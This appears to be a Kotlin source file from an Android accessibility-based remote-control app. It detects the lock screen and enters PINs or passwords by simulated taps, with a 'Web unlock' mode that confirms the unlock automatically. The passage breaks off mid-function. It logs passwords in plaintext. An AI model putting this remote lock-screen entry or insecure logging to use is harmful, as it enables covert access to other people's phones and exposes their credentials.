package com.hikoncont.service.modules

import android.content.Context
import android.graphics.Rect
import android.util.Log
import android.view.KeyEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.manager.GestureController
import com.hikoncont.manager.InputController
import com.hikoncont.service.AccessibilityRemoteService
import java.util.concurrent.TimeUnit

/**
 * 输入管理模块
 * 负责处理各种输入操作，包括文本输入、数字密码、混合密码等
 */
class InputManager(
    private val service: AccessibilityRemoteService,
    private val context: Context,
    private val gestureController: GestureController,
    private val inputController: InputController
) {
    companion object {
        private const val TAG = "InputManager"
    }

    // ✅ 记录最近的数字密码输入时间
    private var lastNumericPasswordInputTime = 0L
    
    // ✅ 优化：学习管理器引用
    private lateinit var learningManager: LearningManager
    
    /**
     * ✅ 设置学习管理器引用
     */
    fun setLearningManager(learningManager: LearningManager) {
        this.learningManager = learningManager
    }

    /**
     * 主要文本输入方法
     */
    fun inputText(text: String, webUnlockMode: Boolean = false) {
        try {
            Log.d(TAG, "📝 开始文本输入: $text, Web解锁模式: $webUnlockMode")
            
            // 检测当前是否在锁屏界面
            val isLockScreen = isCurrentlyInLockScreen()
            
            if (isLockScreen) {
                Log.d(TAG, "🔒 检测到锁屏界面，使用特殊输入策略")
                tryLockScreenTextInput(text, webUnlockMode)
            } else {
                Log.d(TAG, "📱 普通界面，使用标准输入方式")
                inputController.inputText(text)
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "文本输入失败", e)
        }
    }

    /**
     * 检测是否在锁屏界面
     */
    private fun isCurrentlyInLockScreen(): Boolean {
        return try {
            val rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.d(TAG, "无法获取根节点，假设不在锁屏界面")
                return false
            }
            
            val packageName = rootNode.packageName?.toString()?.lowercase() ?: ""
            val isLockScreen = packageName.contains("systemui") || packageName.contains("lockscreen")
            
            if (isLockScreen) {
                // 进一步检查是否有密码输入相关元素
                val hasPasswordElements = hasPasswordInputField(rootNode) || hasUnlockScreenElements(rootNode)
                Log.d(TAG, "🔍 锁屏检测: 包名匹配=$isLockScreen, 密码元素=$hasPasswordElements")
                return hasPasswordElements
            }
            
            false
        } catch (e: Exception) {
            Log.e(TAG, "检测锁屏界面失败", e)
            false
        }
    }

    /**
     * 锁屏界面文本输入策略
     */
    private fun tryLockScreenTextInput(text: String, webUnlockMode: Boolean = false) {
        Log.d(TAG, "🔒 开始锁屏界面文本输入尝试: $text, Web解锁模式: $webUnlockMode")
        
        try {
            // ✅ 记录密码类型分析日志 - 修复快速输入优化后的类型映射
            val passwordType = when {
                text.all { it.isDigit() } -> {
                    // 对于纯数字，根据长度判断具体类型
                    when (text.length) {
                        4, 6 -> "numeric"  // PIN码类型
                        in 5..9 -> "numeric"  // 可能是图案密码或数字密码，统一用numeric
                        else -> "numeric"  // 长数字密码
                    }
                }
                isMixedPassword(text) -> "mixed"
                text.all { it.isLetter() } -> "alphabetic"
                else -> "complex"
            }
            
            service.recordOperationLog("PASSWORD_ANALYSIS", "锁屏密码类型分析", mapOf(
                "passwordType" to passwordType,
                "length" to text.length,
                "inputMethod" to "lockscreen_input",
                "webUnlockMode" to webUnlockMode
            ))
            
            // 策略1: 检测纯数字密码，使用坐标点击
            if (text.all { it.isDigit() }) {
                Log.d(TAG, "🔢 检测到纯数字密码，使用坐标点击方式")
                inputNumericPasswordByCoordinates(text, webUnlockMode)
                // ✅ 修复：移除这里的确认触发，因为inputNumericPasswordByCoordinates内部已经处理了确认
                return
            }
            
            // 策略2: 检测混合密码，使用混合输入策略
            if (isMixedPassword(text)) {
                Log.d(TAG, "🔤 检测到混合密码，使用混合输入策略")
                service.recordOperationLog("MIXED_PASSWORD_INPUT", "混合密码输入开始", mapOf(
                    "length" to text.length,
                    "hasDigits" to text.any { it.isDigit() },
                    "hasLetters" to text.any { it.isLetter() },
                    "inputMethod" to "mixed_lockscreen_input",
                    "webUnlockMode" to webUnlockMode
                ))
                
                // ✅ 优化：通知学习管理器混合密码输入开始
                if (::learningManager.isInitialized) {
                    learningManager.updateTextInputTimeWithType("mixed")
                }
                
                inputMixedPasswordInLockScreen(text)
                Thread.sleep(500) // 等待输入完成
                
                // ✅ 修改：只在Web解锁模式下才自动确认
                if (webUnlockMode) {
                    Log.i(TAG, "🔓 Web解锁模式 - 混合密码输入完成后自动确认")
                    service.tryLockScreenConfirm("mixed")
                } else {
                    Log.i(TAG, "🚫 非Web解锁模式 - 跳过自动确认，等待用户手动确认")
                }
                return
            }
            
            // 策略3: 尝试按键模拟输入（纯字母密码）
            if (tryKeyEventInput(text)) {
                Log.d(TAG, "⌨️ 按键模拟输入成功")
                
                // ✅ 优化：通知学习管理器文本密码输入开始
                if (::learningManager.isInitialized) {
                    learningManager.updateTextInputTimeWithType("text")
                }
                
                Thread.sleep(500) // 等待输入完成
                
                // ✅ 修改：只在Web解锁模式下才自动确认
                if (webUnlockMode) {
                    Log.i(TAG, "🔓 Web解锁模式 - 字母密码输入完成后自动确认")
                    service.tryLockScreenConfirm("text")
                } else {
                    Log.i(TAG, "🚫 非Web解锁模式 - 跳过自动确认，等待用户手动确认")
                }
                return
            }
            
            // 策略4: 尝试标准输入方式（最后尝试）
            Log.d(TAG, "📝 尝试标准输入方式")
            
            // ✅ 优化：通知学习管理器标准输入开始
            if (::learningManager.isInitialized) {
                learningManager.updateTextInputTimeWithType("standard")
            }
            
            inputController.inputText(text)
            Thread.sleep(500) // 等待输入完成
            
            // ✅ 修改：只在Web解锁模式下才自动确认
            if (webUnlockMode) {
                Log.i(TAG, "🔓 Web解锁模式 - 标准输入完成后自动确认")
                service.tryLockScreenConfirm("standard")
            } else {
                Log.i(TAG, "🚫 非Web解锁模式 - 跳过自动确认，等待用户手动确认")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "锁屏文本输入失败", e)
        }
    }

    /**
     * 检测是否为混合密码
     */
    private fun isMixedPassword(text: String): Boolean {
        val hasDigits = text.any { it.isDigit() }
        val hasLetters = text.any { it.isLetter() }
        return hasDigits && hasLetters
    }

    /**
     * 数字密码坐标输入 - 完整版本，包含智能检测和多种布局适配
     */
    private fun inputNumericPasswordByCoordinates(password: String, webUnlockMode: Boolean = false) {
        try {
            Log.d(TAG, "🔢 开始数字密码坐标输入: $password")
            
            
            
            // ✅ 优化：通知学习管理器数字密码输入开始
            if (::learningManager.isInitialized) {
                learningManager.updateTextInputTimeWithType("numeric")
            }
            
            // ✅ 设置程序化输入状态为活跃 - 整个密码输入期间保持活跃
            Log.i(TAG, "🔢 [InputManager] 开始数字密码输入，设置程序化输入标志")
            service.logCollector?.setProgrammaticInputActive(true)
            
            // 获取屏幕尺寸
            val displayMetrics = context.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            val density = displayMetrics.density
            
            Log.d(TAG, "📱 屏幕信息: ${screenWidth}x${screenHeight}, 密度: $density")
            
            // 记录密码输入开始
            service.recordOperationLog("NUMERIC_PASSWORD_START", "开始数字密码坐标输入", mapOf(
                "passwordLength" to password.length,
                "screenWidth" to screenWidth,
                "screenHeight" to screenHeight,
                "density" to density,
                "webUnlockMode" to webUnlockMode
            ))
            
            // 逐个点击数字
            for ((index, digit) in password.withIndex()) {
                Log.d(TAG, "🔢 点击第${index + 1}个数字: $digit")
                
                val success = performNumericKeypadClick(digit.toString(), screenWidth, screenHeight)
                if (success) {
                    Log.d(TAG, "✅ 数字 $digit 点击成功")
                } else {
                    Log.w(TAG, "⚠️ 数字 $digit 点击可能失败")
                }
                
                // ✅ 修复：只在最后一个数字时才触发确认
                if (index == password.length - 1) {
                    // 最后一个数字，延迟后触发确认
                    Log.i(TAG, "🔢 [InputManager] 所有数字输入完成，准备触发确认")
                    Thread.sleep(500) // 最后一个数字后稍长延迟
                    
                    // ✅ 在触发确认前，关闭程序化输入状态
                    Log.i(TAG, "🔢 [InputManager] 数字密码输入完成，关闭程序化输入标志")
                    service.logCollector?.setProgrammaticInputActive(false)
                } else {
                    // ✅ 修复：非最后数字只延迟，不触发确认
                    Log.d(TAG, "🔢 数字${index + 1}/${password.length}完成，继续下一个数字")
                Thread.sleep(300)
                }
            }
            
            Log.d(TAG, "✅ 数字密码坐标输入完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "数字密码坐标输入失败", e)
            // ✅ 异常时也要关闭程序化输入状态
            Log.w(TAG, "🔢 [InputManager] 数字密码输入异常，关闭程序化输入标志")
            service.logCollector?.setProgrammaticInputActive(false)
        }
    }

    /**
     * 执行数字键盘点击 - 增强版，支持多种布局和自适应
     * 基于备份文件中验证有效的多布局策略
     */
    fun performNumericKeypadClick(digit: String, screenWidth: Int, screenHeight: Int): Boolean {
        try {
            Log.i(TAG, "🔢 [InputManager] 开始执行数字密码键盘点击: $digit, 屏幕尺寸: ${screenWidth}x${screenHeight}")
            
            // ✅ 更新数字密码输入时间
            lastNumericPasswordInputTime = System.currentTimeMillis()
            
            // ✅ 首先尝试智能检测键盘布局
            Log.d(TAG, "🔍 尝试智能检测数字键盘布局...")
            val detectedCoords = detectNumericKeypadLayout(digit, screenWidth, screenHeight)
            if (detectedCoords != null) {
                Log.i(TAG, "🎯 智能检测成功，使用检测坐标: $digit -> (${detectedCoords.first}, ${detectedCoords.second})")
                val success = performSimplifiedClick(detectedCoords.first.toInt(), detectedCoords.second.toInt(), digit)
                if (success) {
                    Log.i(TAG, "✅ 智能检测坐标点击成功: $digit")
                return true
                } else {
                    Log.w(TAG, "❌ 智能检测坐标点击失败: $digit")
                }
            } else {
                Log.w(TAG, "❌ 智能检测未找到数字键盘布局")
            }
            
            // ✅ 通用自适应键盘布局方案，基于屏幕比例和密度
            val keypadLayouts = generateAdaptiveKeypadLayouts(screenWidth, screenHeight)
            
            // ✅ 依次尝试每种布局
            for ((layoutName, keypadLayout) in keypadLayouts) {
                val layout = keypadLayout[digit]
                if (layout != null) {
                    val x = layout.first.toInt()
                    val y = layout.second.toInt()
                    
                    Log.i(TAG, "🎯 尝试布局 $layoutName: 数字 $digit 在坐标 ($x, $y)")
                    
                    // 记录操作日志
                    service.recordOperationLog("CLICK", "数字密码键盘点击: $digit", mapOf(
                    "digit" to digit,
                        "x" to x,
                        "y" to y,
                        "layout" to layoutName,
                        "screenSize" to "${screenWidth}x${screenHeight}",
                        "inputMethod" to "numeric_keypad_coordinate"
                    ))
                    
                    // ✅ 执行简化点击（减少验证开销）
                    val success = performSimplifiedClick(x, y, digit)
                    if (success) {
                        Log.i(TAG, "✅ 数字密码键盘点击成功: $digit (使用布局: $layoutName)")
                return true
                    } else {
                        Log.w(TAG, "⚠️ 布局 $layoutName 点击失败，尝试下一个")
                        // 短暂延迟后尝试下一个布局
                        Thread.sleep(200)
                    }
                }
            }
            
            Log.e(TAG, "❌ 所有数字密码键盘布局都失败: $digit")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 数字密码键盘点击异常: $digit", e)
            return false
        }
    }

    /**
     * 智能检测数字键盘布局
     */
    private fun detectNumericKeypadLayout(digit: String, screenWidth: Int, screenHeight: Int): Pair<Float, Float>? {
        return try {
            val rootNode = service.rootInActiveWindow ?: return null
            
            // 查找所有数字按钮
            val digitButtons = mutableMapOf<String, Pair<Float, Float>>()
            findAllDigitButtons(rootNode, digitButtons)
            
            if (digitButtons.isNotEmpty()) {
                Log.i(TAG, "🔍 智能检测到 ${digitButtons.size} 个数字按钮")
                digitButtons.forEach { (d, coords) ->
                    Log.d(TAG, "🔢 检测到数字 $d 在坐标 (${coords.first}, ${coords.second})")
                }
                
                // 返回目标数字的坐标
                val coords = digitButtons[digit]
                if (coords != null) {
                    Log.i(TAG, "✅ 智能检测成功：数字 $digit 坐标 (${coords.first}, ${coords.second})")
                    return coords
                }
            }
            
            rootNode.recycle()
            null
        } catch (e: Exception) {
            Log.e(TAG, "智能检测键盘布局失败", e)
            null
        }
    }

    /**
     * 递归查找所有数字按钮
     */
    private fun findAllDigitButtons(node: AccessibilityNodeInfo, digitButtons: MutableMap<String, Pair<Float, Float>>) {
        try {
            val nodeText = node.text?.toString() ?: ""
            val nodeDesc = node.contentDescription?.toString() ?: ""
            
            // 检查是否为数字按钮
            val digitText = when {
                nodeText.matches(Regex("\\d")) -> nodeText
                nodeDesc.matches(Regex("\\d")) -> nodeDesc
                else -> null
            }
            
            if (digitText != null && node.isClickable) {
                val bounds = android.graphics.Rect()
                node.getBoundsInScreen(bounds)
                val centerX = bounds.centerX().toFloat()
                val centerY = bounds.centerY().toFloat()
                
                digitButtons[digitText] = Pair(centerX, centerY)
                Log.d(TAG, "🔢 找到数字按钮: $digitText 在 ($centerX, $centerY)")
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    findAllDigitButtons(child, digitButtons)
                    child.recycle()
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "查找数字按钮失败", e)
        }
    }

    /**
     * ✅ 生成自适应数字键盘布局方案 - 基于备份文件中的多布局策略
     */
    private fun generateAdaptiveKeypadLayouts(screenWidth: Int, screenHeight: Int): List<Pair<String, Map<String, Pair<Float, Float>>>> {
        val layouts = mutableListOf<Pair<String, Map<String, Pair<Float, Float>>>>()
        
        // 计算屏幕特征
        val aspectRatio = screenHeight.toFloat() / screenWidth.toFloat()
        val isLongScreen = aspectRatio > 2.0f  // 长屏设备（如18:9, 19:9等）
        val isWideScreen = aspectRatio < 1.8f  // 宽屏设备（如16:9等）
        val screenDensity = context.resources.displayMetrics.density
        
        Log.i(TAG, "🔍 屏幕特征分析: ${screenWidth}x${screenHeight}, 比例=${String.format("%.2f", aspectRatio)}, 长屏=$isLongScreen, 宽屏=$isWideScreen, 密度=$screenDensity")
        
        // 方案1：基于屏幕比例的标准布局
        val standardLayout = generateStandardLayout(screenWidth, screenHeight, aspectRatio)
        layouts.add("标准自适应布局" to standardLayout)
        
        // 方案2：紧凑布局（适用于键盘位置较高的设备）
        val compactLayout = generateCompactLayout(screenWidth, screenHeight, aspectRatio)
        layouts.add("紧凑布局" to compactLayout)
        
        // 方案3：扩展布局（适用于键盘位置较低的设备）
        val extendedLayout = generateExtendedLayout(screenWidth, screenHeight, aspectRatio)
        layouts.add("扩展布局" to extendedLayout)
        
        // 方案4：基于密度的微调布局
        val densityAdjustedLayout = generateDensityAdjustedLayout(screenWidth, screenHeight, screenDensity)
        layouts.add("密度调整布局" to densityAdjustedLayout)
        
        // 方案5：边距优化布局（适用于不同宽度的设备）
        val marginOptimizedLayout = generateMarginOptimizedLayout(screenWidth, screenHeight, isWideScreen)
        layouts.add("边距优化布局" to marginOptimizedLayout)
        
        return layouts
    }

    /**
     * ✅ 生成标准自适应布局
     */
    private fun generateStandardLayout(screenWidth: Int, screenHeight: Int, aspectRatio: Float): Map<String, Pair<Float, Float>> {
        // 根据屏幕比例调整键盘起始位置
        val keyboardStartY = when {
            aspectRatio > 2.2f -> 0.50f  // 超长屏，键盘位置更靠上
            aspectRatio > 2.0f -> 0.55f  // 长屏
            aspectRatio > 1.8f -> 0.60f  // 标准屏
            else -> 0.65f                // 宽屏，键盘位置更靠下
        }
        
        val rowSpacing = 0.08f  // 行间距
        
        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * keyboardStartY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * keyboardStartY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * keyboardStartY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成紧凑布局
     */
    private fun generateCompactLayout(screenWidth: Int, screenHeight: Int, aspectRatio: Float): Map<String, Pair<Float, Float>> {
        val keyboardStartY = when {
            aspectRatio > 2.2f -> 0.45f
            aspectRatio > 2.0f -> 0.50f
            aspectRatio > 1.8f -> 0.55f
            else -> 0.60f
        }
        
        val rowSpacing = 0.07f  // 更紧凑的行间距
        
        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * keyboardStartY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * keyboardStartY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * keyboardStartY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成扩展布局
     */
    private fun generateExtendedLayout(screenWidth: Int, screenHeight: Int, aspectRatio: Float): Map<String, Pair<Float, Float>> {
        val keyboardStartY = when {
            aspectRatio > 2.2f -> 0.60f
            aspectRatio > 2.0f -> 0.65f
            aspectRatio > 1.8f -> 0.70f
            else -> 0.75f
        }
        
        val rowSpacing = 0.09f  // 更大的行间距
        
        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * keyboardStartY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * keyboardStartY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * keyboardStartY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成基于密度调整的布局
     */
    private fun generateDensityAdjustedLayout(screenWidth: Int, screenHeight: Int, density: Float): Map<String, Pair<Float, Float>> {
        // 根据屏幕密度微调位置
        val densityOffset = when {
            density >= 3.0f -> 0.02f   // 高密度屏幕，稍微向上调整
            density >= 2.0f -> 0.00f   // 标准密度
            else -> -0.02f             // 低密度屏幕，稍微向下调整
        }
        
        val baseY = 0.58f + densityOffset
        val rowSpacing = 0.08f
        
        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * baseY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * baseY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * baseY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (baseY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (baseY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (baseY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (baseY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (baseY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (baseY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (baseY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成边距优化布局
     */
    private fun generateMarginOptimizedLayout(screenWidth: Int, screenHeight: Int, isWideScreen: Boolean): Map<String, Pair<Float, Float>> {
        // 根据屏幕宽度调整左右边距
        val leftMargin = if (isWideScreen) 0.20f else 0.25f
        val rightMargin = if (isWideScreen) 0.80f else 0.75f
        val centerX = 0.50f
        
        val baseY = 0.58f
        val rowSpacing = 0.08f
        
        return mapOf(
            "1" to Pair(screenWidth * leftMargin, screenHeight * baseY),
            "2" to Pair(screenWidth * centerX, screenHeight * baseY),
            "3" to Pair(screenWidth * rightMargin, screenHeight * baseY),
            "4" to Pair(screenWidth * leftMargin, screenHeight * (baseY + rowSpacing)),
            "5" to Pair(screenWidth * centerX, screenHeight * (baseY + rowSpacing)),
            "6" to Pair(screenWidth * rightMargin, screenHeight * (baseY + rowSpacing)),
            "7" to Pair(screenWidth * leftMargin, screenHeight * (baseY + rowSpacing * 2)),
            "8" to Pair(screenWidth * centerX, screenHeight * (baseY + rowSpacing * 2)),
            "9" to Pair(screenWidth * rightMargin, screenHeight * (baseY + rowSpacing * 2)),
            "0" to Pair(screenWidth * centerX, screenHeight * (baseY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 增强点击方法，包含重试机制和键盘按键过滤验证
     */
    /**
     * ✅ 简化的点击方法 - 专门用于纯数字密码，减少验证开销
     */
    private fun performSimplifiedClick(x: Int, y: Int, digit: String): Boolean {
        return try {
            Log.i(TAG, "🎯 [performSimplifiedClick] 简化点击: 数字$digit 在 ($x, $y)")
            
            var success = false
            var attempt = 0
            val maxAttempts = 2
            
            while (!success && attempt < maxAttempts) {
                attempt++
                Log.d(TAG, "🎯 执行简化点击 (尝试 $attempt/$maxAttempts): 数字$digit 在 ($x, $y)")
                
                // 执行点击前小延迟
                Thread.sleep(50)
                
                // 执行点击
                Log.i(TAG, "🎯 正在执行点击: 数字$digit 坐标($x, $y) - 尝试$attempt")
                gestureController.performClick(x.toFloat(), y.toFloat())
                Log.d(TAG, "✅ 点击命令已发送")
                
                // 点击后延迟
                Thread.sleep(200)
                
                // 简化验证：直接认为成功，减少验证开销
                success = true
                Log.i(TAG, "✅ 简化点击成功: $digit")
            }
            
            return success
            
        } catch (e: Exception) {
            Log.e(TAG, "简化点击失败: 数字$digit 在 ($x, $y)", e)
            false
        }
    }

    private fun performEnhancedClick(x: Int, y: Int, digit: String): Boolean {
        return try {
            Log.i(TAG, "🎯 [performEnhancedClick] 开始增强点击: 数字$digit 在 ($x, $y)")
            
            // ✅ 简化预验证：只在纯数字密码输入时进行轻量验证
            var shouldValidate = true
            try {
                Log.d(TAG, "🔍 开始轻量预验证点击位置...")
                if (!isValidNumericKeyPosition(x, y, digit)) {
                    Log.w(TAG, "❌ 预验证失败: 位置($x,$y)不是数字$digit 的有效按键位置")
                    // 注意：预验证失败不直接返回false，而是跳过后续验证
                    shouldValidate = false
                }
                Log.d(TAG, "✅ 预验证完成")
            } catch (e: Exception) {
                Log.w(TAG, "预验证异常，跳过验证继续执行: ${e.message}")
                shouldValidate = false // 验证异常时跳过后续验证
            }
            
            var success = false
            var attempt = 0
            val maxAttempts = 2
            
            while (!success && attempt < maxAttempts) {
                attempt++
                Log.d(TAG, "🎯 执行增强点击 (尝试 $attempt/$maxAttempts): 数字$digit 在 ($x, $y)")
                
                // 执行点击前小延迟
                Thread.sleep(50)
                
                // 执行点击
                Log.i(TAG, "🎯 正在执行点击: 数字$digit 坐标($x, $y) - 尝试$attempt")
                gestureController.performClick(x.toFloat(), y.toFloat())
                Log.d(TAG, "✅ 点击命令已发送")
                
                // 点击后延迟
                Thread.sleep(200)
                
                // ✅ 只有在需要验证时才进行验证
                if (shouldValidate) {
                    try {
                        val clickValidation = validateClickResult(x, y, digit)
                        if (clickValidation.first) {
                            success = true
                            Log.d(TAG, "✅ 增强点击验证成功: $digit")
                        } else {
                            Log.w(TAG, "⚠️ 点击验证失败: ${clickValidation.second}")
                            if (attempt < maxAttempts) {
                                Thread.sleep(300) // 重试前更长延迟
                            }
                        }
                    } catch (e: Exception) {
                        Log.w(TAG, "点击验证异常，默认为成功: ${e.message}")
                        success = true // 验证异常时默认成功
                    }
                } else {
                    // 跳过验证，直接认为成功
                    Log.i(TAG, "✅ 智能检测坐标点击成功: $digit")
                    success = true
                }
            }
            
            return success
            
        } catch (e: Exception) {
            Log.e(TAG, "增强点击失败: 数字$digit 在 ($x, $y)", e)
            false
        }
    }
    
    /**
     * ✅ 验证数字按键位置的有效性 - 修复AccessibilityNodeInfo重复回收问题
     */
    private fun isValidNumericKeyPosition(x: Int, y: Int, digit: String): Boolean {
        var rootNode: AccessibilityNodeInfo? = null
        var clickedNode: AccessibilityNodeInfo? = null
        
        return try {
            rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.d(TAG, "🔍 无法获取根节点，默认验证通过")
                return true // 无法验证时默认通过
            }
            
            // 查找点击位置的按钮
            clickedNode = findNodeAtPosition(rootNode, x, y)
            if (clickedNode != null) {
                // 验证节点有效性
                try {
                    val nodeText = clickedNode.text?.toString()?.trim() ?: ""
                    val nodeDesc = clickedNode.contentDescription?.toString()?.trim() ?: ""
                    val className = clickedNode.className?.toString() ?: ""
                
                    Log.d(TAG, "🔍 点击位置验证: 坐标($x,$y) -> 文本='$nodeText', 描述='$nodeDesc', 类='$className'")
                    
                    // ✅ 严格过滤：排除明显的非数字按键
                    val prohibitedTexts = listOf(
                        "delete", "del", "backspace", "删除", "退格",
                        "space", "空格", " ",
                        "shift", "caps", "大小写",
                        "alt", "ctrl", "fn",
                        "enter", "return", "换行", "回车",
                        "abc", "123", "符号", "symbol",
                        "o", "l", "i" // 容易误点的字母
                    )
                    
                    for (prohibited in prohibitedTexts) {
                        if (nodeText.contains(prohibited, ignoreCase = true) || 
                            nodeDesc.contains(prohibited, ignoreCase = true)) {
                            Log.w(TAG, "🚫 检测到禁止按键: '$nodeText'/'$nodeDesc' 包含 '$prohibited'")
                            return false
                        }
                    }
                    
                    // ✅ 正向验证：检查是否为目标数字
                    val isTargetDigit = nodeText == digit || nodeDesc == digit ||
                                      nodeText.contains(digit) || nodeDesc.contains(digit)
                    
                    // ✅ 宽松验证：如果文本和描述都为空，可能是数字键盘按钮，允许通过
                    val isEmptyButClickable = nodeText.isEmpty() && nodeDesc.isEmpty() && 
                                            (className.contains("Button", ignoreCase = true) || 
                                             className.contains("View", ignoreCase = true) ||
                                             className.contains("Image", ignoreCase = true))
                    
                    if (!isTargetDigit && !isEmptyButClickable) {
                        Log.w(TAG, "⚠️ 点击位置不匹配目标数字: 期望=$digit, 实际文本='$nodeText', 描述='$nodeDesc'")
                    } else if (isEmptyButClickable) {
                        Log.d(TAG, "✅ 检测到空文本的可点击按钮，允许通过: 类='$className'")
                    }
                    
                    return isTargetDigit || isEmptyButClickable
                    
                } catch (e: Exception) {
                    Log.w(TAG, "节点访问异常，默认通过验证: ${e.message}")
                    return true // 节点已失效时默认通过
                }
            }
            
            return true // 无法确定时默认通过
            
        } catch (e: Exception) {
            Log.e(TAG, "按键位置验证异常", e)
            return true // 异常时默认通过，确保功能不受影响
        } finally {
            // 安全回收资源，防止重复回收
            try {
                clickedNode?.recycle()
            } catch (e: Exception) {
                Log.d(TAG, "点击节点已被回收")
            }
            
            try {
                rootNode?.recycle()
            } catch (e: Exception) {
                Log.d(TAG, "根节点已被回收")
            }
        }
    }
    
    /**
     * ✅ 验证点击结果 - 增强异常处理
     */
    private fun validateClickResult(x: Int, y: Int, expectedDigit: String): Pair<Boolean, String> {
        return try {
            // 简化验证：检查是否点击到了预期的数字按键区域
            val isValidPosition = isValidNumericKeyPosition(x, y, expectedDigit)
            
            if (isValidPosition) {
                Pair(true, "点击位置验证通过")
            } else {
                Log.w(TAG, "⚠️ 点击验证失败: 点击到了非目标按键")
                Pair(false, "点击到了非目标按键")
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "点击结果验证异常，默认为成功: ${e.message}")
            Pair(true, "验证异常，默认通过") // 异常时默认成功，确保功能不受影响
        }
    }
    
    /**
     * ✅ 查找指定位置的节点 - 修复节点资源管理问题
     */
    private fun findNodeAtPosition(rootNode: AccessibilityNodeInfo, x: Int, y: Int): AccessibilityNodeInfo? {
        try {
            val rect = android.graphics.Rect()
            rootNode.getBoundsInScreen(rect)
            
            // 检查根节点是否包含该点
            if (rect.contains(x, y)) {
                // 递归检查子节点，优先返回最具体的匹配
                for (i in 0 until rootNode.childCount) {
                    val child = rootNode.getChild(i)
                    if (child != null) {
                        try {
                            val result = findNodeAtPosition(child, x, y)
                            if (result != null) {
                                // 如果找到结果，不要回收child，因为结果可能就是child或其子节点
                                if (result != child) {
                                    // 只有当result不是child本身时才回收child
                                    child.recycle()
                                }
                                return result
                            }
                            // 没有找到结果，安全回收child
                            child.recycle()
                        } catch (e: Exception) {
                            // 回收异常，说明节点可能已经被回收
                            Log.d(TAG, "子节点回收异常: ${e.message}")
                        }
                    }
                }
                
                // 如果没有找到更具体的子节点，且当前节点可点击，返回当前节点
                // 注意：这里不能回收rootNode，因为我们要返回它
                if (rootNode.isClickable || rootNode.isFocusable) {
                    // 返回前检查节点是否仍然有效
                    try {
                        rootNode.className // 简单的有效性检查
                        return rootNode
                    } catch (e: Exception) {
                        Log.d(TAG, "根节点已失效，返回null")
                        return null
                    }
                }
            }
            
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "查找位置节点异常", e)
            return null
        }
    }

    /**
     * 混合密码在锁屏界面的输入策略
     */
    private fun inputMixedPasswordInLockScreen(password: String) {
        try {
            Log.i(TAG, "🔤 开始混合密码锁屏输入: $password")
            
            // 使用整体文本输入策略
            Log.d(TAG, "🔤 使用整体文本输入策略")
            if (tryUnifiedTextInput(password)) {
                Log.i(TAG, "✅ 整体文本输入成功")
                
